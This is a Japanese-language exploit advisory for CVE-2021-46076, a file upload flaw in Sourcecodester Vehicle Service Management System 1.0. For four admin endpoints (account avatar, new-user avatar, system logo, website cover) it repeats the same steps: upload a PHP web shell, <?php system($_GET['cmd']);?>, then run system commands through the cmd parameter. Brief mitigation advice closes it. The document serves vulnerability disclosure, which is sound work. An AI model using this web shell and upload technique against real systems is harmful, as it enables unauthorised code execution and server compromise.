CVE-2021-46076
エクスプロイトタイトル: Vehicle Service Management System - 'Multiple' ファイルアップロードがコード実行を引き起こす
CVE: CVE-2021-46076
CVSS: 8.8 HIGH
参考:
説明:
Sourcecodester Vehicle Service Management System 1.0 はファイルアップロードに対して脆弱です。攻撃者は複数のエンドポイントで悪意のある PHP ファイルをアップロードでき、コード実行につながります。
1. Vehicle Service Management System - 'MyAccount' (/admin/?page=user)
エクスプロイト:
- 管理パネルにログインします http://localhost/vehicle_service/admin
- My Account セクションに移動します http://localhost/vehicle_service/admin/?page=user
ペイロード:
<?php system($_GET['cmd']);?>
- 上記の PHP コードを保存します(例: Cmd.php)
- My Account セクションで必要な詳細をすべて入力し、Avatar で PHP ファイルを参照して選択します。
- 更新ボタンをクリックします。
- アバター画像を新しいタブで開きます。
- URL に cmd パラメータを追加してコマンドを実行します。
- 最終 URL: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- すべてのシステムコマンドを実行します(例: id、whoami、pwd など)。
2. Vehicle Service Management System - 'User List' (/admin/?page=user/manage_user)
エクスプロイト:
- 管理パネルにログインします http://localhost/vehicle_service/admin
- User List セクションに移動し、Create New ボタンをクリックします。
ペイロード:
<?php system($_GET['cmd']);?>
- 上記の PHP コードを保存します(例: Cmd.php)
- Create New User ページで必要な詳細をすべて入力し、Avatar で PHP ファイルを参照して選択します。
- 保存ボタンをクリックします。
- アバター画像を新しいタブで開きます。
- URL に cmd パラメータを追加してコマンドを実行します。
- 最終 URL: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- すべてのシステムコマンドを実行します(例: id、whoami、pwd など)。
3. Vehicle Service Management System - 'Settings-System Logo' (/admin/?page=system_info)
エクスプロイト:
- 管理パネルにログインします http://localhost/vehicle_service/admin
- Settings セクションに移動します http://localhost/vehicle_service/admin/?page=system_info
ペイロード:
<?php system($_GET['cmd']);?>
- 上記の PHP コードを保存します(例: Cmd.php)
- Settings セクションで必要な詳細をすべて入力し、System Logo で PHP ファイルを参照して選択します。
- 更新ボタンをクリックします。
- System Logo 画像を新しいタブで開きます。
- URL に cmd パラメータを追加してコマンドを実行します。
- 最終 URL: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- すべてのシステムコマンドを実行します(例: id、whoami、pwd など)。
4. Vehicle Service Management System - 'Settings-Website Cover' (/admin/?page=system_info)
エクスプロイト:
- 管理パネルにログインします http://localhost/vehicle_service/admin
- Settings セクションに移動します http://localhost/vehicle_service/admin/?page=system_info
ペイロード:
<?php system($_GET['cmd']);?>
- 上記の PHP コードを保存します(例: Cmd.php)
- Settings セクションで必要な詳細をすべて入力し、Website Cover で PHP ファイルを参照して選択します。
- 更新ボタンをクリックします。
- Website Cover 画像を新しいタブで開きます。
- URL に cmd パラメータを追加してコマンドを実行します。
- 最終 URL: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- すべてのシステムコマンドを実行します(例: id、whoami、pwd など)。
影響:
攻撃者は複数のエンドポイントで悪意のある PHP ファイルをアップロードでき、コード実行につながります。
対策:
以下の実装が推奨されます:
- ホワイトリストフィルターなしにファイル名と拡張子を直接受け入れないこと。
- Unicode 文字が必要ない場合は、ファイル名と拡張子の入力として英数字とドット 1 つのみを受け入れることを強く推奨します。
- サービス拒否攻撃を防ぐために、ファイルサイズを最大値に制限すること。
- アップロードディレクトリには「実行」権限を付与しないこと。
- クライアントサイドの検証のみに依存しないこと。